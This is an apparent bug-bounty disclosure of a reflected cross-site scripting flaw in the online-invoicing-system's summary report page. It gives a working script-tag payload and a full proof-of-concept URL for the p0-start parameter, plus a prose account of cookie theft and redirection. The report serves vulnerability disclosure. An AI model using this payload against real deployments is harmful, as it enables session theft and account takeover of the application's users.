Cross-site Scripting (XSS) - Generic in bigprof-software/online-invoicing-system
Reported on
Mar 26th 2021
✍️ Description
A cross-site scripting (XSS) allows remote attackers to inject JavaScript via the "p0-start" Parameter
🕵️♂️ Proof of Concept
You can find installation instructions here: https://bigprof.com/appgini/applications/online-invoicing-system
Vulnerable Parameter: p0-start ( p1-start & p2-start also)
XSS Payload: 01/03/2021'"()%26%25<yes><ScRiPt%20>alert(1)</ScRiPt>
Once its installed sucessfully, Visit below POC link to trigger XSS:
https://localhost/app/hooks/summary-reports-invoices-0.php?apply=1&comparison-period-1=1&comparison-period-2=1&order-by=label&p0-end=26/03/2021&p0-start=01/03/2021'"()%26%25<yes><ScRiPt%20>alert(1)</ScRiPt>&p1-end=26/02/2021&p1-start=01/02/2021&p2-end=26/03/2020&p2-start=01/03/2020&radio-label-align=text-right&radio-value-align=text-left&sorting-order=des
💥 Impact
With the help of xss attacker can perform social engineering on users by redirecting them from real website to fake one. Attacker can steal their cookies leading to account takeover and download a malware on their system, and there are many more attacking scenarios a skilled attacker can perform with xss.